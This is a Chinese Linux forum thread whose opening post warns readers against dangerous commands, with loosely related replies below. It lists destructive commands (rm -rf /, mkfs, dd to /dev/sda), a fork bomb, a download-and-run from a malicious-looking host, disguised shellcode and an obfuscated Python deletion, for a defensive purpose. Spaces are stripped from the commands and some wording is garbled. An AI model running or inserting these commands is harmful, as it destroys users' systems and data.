仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 422|回复: 8
打印 上一主题 下一主题

[其他Linux] 来一发万万万万不要运转的Linux命令!

[复制链接]
愤怒的大鸟 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 14:02:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
开发linux发行版的人都是通读过linux内核代码,对linux原理极其精通的人。
编者注:文中列出的命令相对不成以运转,即便你以为很猎奇也不可,除非你是在假造机上运转(呈现成绩你能够复原),由于它们会实其实在的损坏你的体系。以是不在root等初级办理权限下实行命令是很好的习气。
日夕有一天,Linux体系会像Windows那样盛行,用的人愈来愈多,包含对盘算机不是很懂得的人,本文的目标就是告知人人:在Linux给你最年夜水平自在度的同时,也使得损坏体系变得加倍简单,假如你不懂得某些命令的意义,下载实行包括歹意命令的剧本,大概上圈套运转某些命令,很简单让你哭都来不及。
这并非申明Linux不平安,只是申明在不懂得Linux,和很不当心的人眼前,Linux非常不平安。Windows也好,Linux也好,人自己才是最年夜的不平安要素。
上面的命令会删除你硬盘上的文件,rm的-r递回删除,和-f强迫删除是很伤害的选项,即便一样平常操纵,也会碰到误删文件的情形。
sudorm-rf/删除根分区全体的文件
sudorm-rf.删除以后目次下的一切文件
sudorm-rf*同上
rm-rf*orrm-rf*.*同上
rm-rf~/&删除根分区和家目次,即便你不是root,家目次仍是不克不及幸免。

一样,假如你不晓得mkfs.xxxx(xxxx能够是vfat、ext2、ext3、bfs……)是格局化命令的话,运转上面的命令会擦除你的硬盘分区:
sudomkfs.xxxx

dd是壮大的IO输出输入定向工具,假如利用不妥,损坏性很年夜,不单单是以后分区,以后体系,有的时分是全部硬盘。
sudoddif=/dev/zeroof=/dev/sda全体硬盘清零。
sudoddif=/dev/sdaof=/dev/sdb用第一块硬盘的内容掩盖第二块的内容。
sudoddif=somethingof=/dev/sda往硬盘上写渣滓数据。

同理,间接把命令了局定向到硬盘上,相称于往硬盘上写渣滓数据:
any_command>/dev/sda用随便的数据损坏硬盘

下面的sda、sdb也多是其他相似的称号。Linux的/dev体系给利用硬件供应了很便利和壮大的功效,同时也使得损坏变得更简单。
fork命令翻开一个子历程,假如把fork放在无穷轮回中,终极子历程会耗尽一切内存资本:
:(){:|:&};:

这段不知所云的标记,可让Shell一直的fork子历程,最初招致内存耗尽,不能不重启,这不是bug,只是Shell语句存心写成简写的情势罢了。上面的同理:
forkwhilefork

有的时分,紧缩包也是一个损坏来历~
有的紧缩包请求你解压到某个体系中已存在的目次中,这时候候你就要出格当心了,紧缩包内里大概有不计其数的小文件,以各类文件名实验掩盖你现有的文件。
有的紧缩包看起来很小,可是解压出来是上GB的渣滓数据,会充溢你的硬盘。
从不正轨网站下载的程序、剧本,一样会有包括歹意命令的伤害,不成任意实行:
wgethttp://some_place/some_file
sh./some_file
wgethttp://hax018r.org/malicious-script
sh./malicious-script

载剧本要确保来历正轨,假如有才能,能够浏览其代码。
即便有源代码的程序,也不要任意编译实行:
charesp[]__attribute__((section(".text")))/*e.s.p
release*/
="xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp-p/bin/sh/tmp/.beyond;chmod4755
/tmp/.beyond;";

下面看起来只是一堆没成心义的16进制数据,假如有人告知你,运转这个程序你就能够不输出暗码获得体系的root权限,你可不要信任他,下面的程序实践运转的是“rm-rf~/&”。
python一类的剧本言语,一样能够拿来弄损坏:
python-cimportos;os.system("".join([chr(ord(i)-1)foriin"sn!.sg!"]))

这段程序实践上会实行rm-rf*,大概你很奇异下面程序开头的“sn!.sg!”是甚么意义,实践上就是rm-rf*每一个字母的下一个!
那末我们怎样制止运转歹意程序呢?
第一不要用root作为一样平常利用的用户,下面的程序,假如以后用户不是root,伤害的涉及局限就会小良多。
第二要晓得哪些命令是干甚么用的,不晓得的命令不要贸然运转。运转有潜伏损坏才能的程序,要当心反省本人的输出。
第三要包管软件、剧本的来历正轨。
最初一点,固然对照悲观,可是的确非常主要的一点:
常常备份你的数据!!
</p>
要多google,因为我不可能,也不可以给你解答所有内容,我只能告诉你一些关键点,甚至我会故意隐瞒答案,因为在寻找答案的过程中。
若相依 该用户已被删除
沙发
发表于 2015-1-18 11:37:38 | 只看该作者
如果上面的措施没有解决问题,此时你就需要Linux社区的帮助了。Linux的使用者一般都是专业人士,他们有着很好的电脑背景且愿意协助他人。
再现理想 该用户已被删除
板凳
发表于 2015-1-24 15:36:24 | 只看该作者
Windows?是图形界面的,Linux类似以前的?DOS,是文本界面的,如果你运行了图形界面程序X-WINDOWS后,Linux?也能显示图形界面,也有开始菜单、桌面、图标等。
小女巫 该用户已被删除
地板
发表于 2015-2-1 23:44:19 | 只看该作者
生成新的unispimsp.ksc。”另外得到回复后如果问题解决,向帮助过你的人发个说明,让他们知道问题是怎样解决的。
变相怪杰 该用户已被删除
5#
发表于 2015-2-7 17:39:09 | 只看该作者
其中不乏很多IT精英的心血。我们学透以后更可以做成自己的OS!?
莫相离 该用户已被删除
6#
发表于 2015-2-22 20:12:02 | 只看该作者
尽量不要提问纯属是扯蛋.学习Linux特别是自己一个人初学入手的时候没人教很困难.当然如果可以的话平时多去买些Linux书...对学习Linux很有帮助.
老尸 该用户已被删除
7#
发表于 2015-3-7 02:43:33 | 只看该作者
为了更好的学习这门课程,我不仅课上认真听讲,课下也努力学习,为此还在自己的电脑上安装了Ubuntu系统。
海妖 该用户已被删除
8#
发表于 2015-3-14 10:38:31 | 只看该作者
发问的时候一定要注意到某些礼节。因为Linux社区是一个松散的组织、也不承担回复每个帖子的义务。它不是技术支持。
小妖女 该用户已被删除
9#
发表于 2015-3-21 03:47:33 | 只看该作者
Linux是参照Unix思想设计的,理解掌握Linux必须按照Unix思维来进行。思想性的转变比暂时性的技术提高更有用,因为他能帮助你加快学习速度。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-11-15 13:44

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表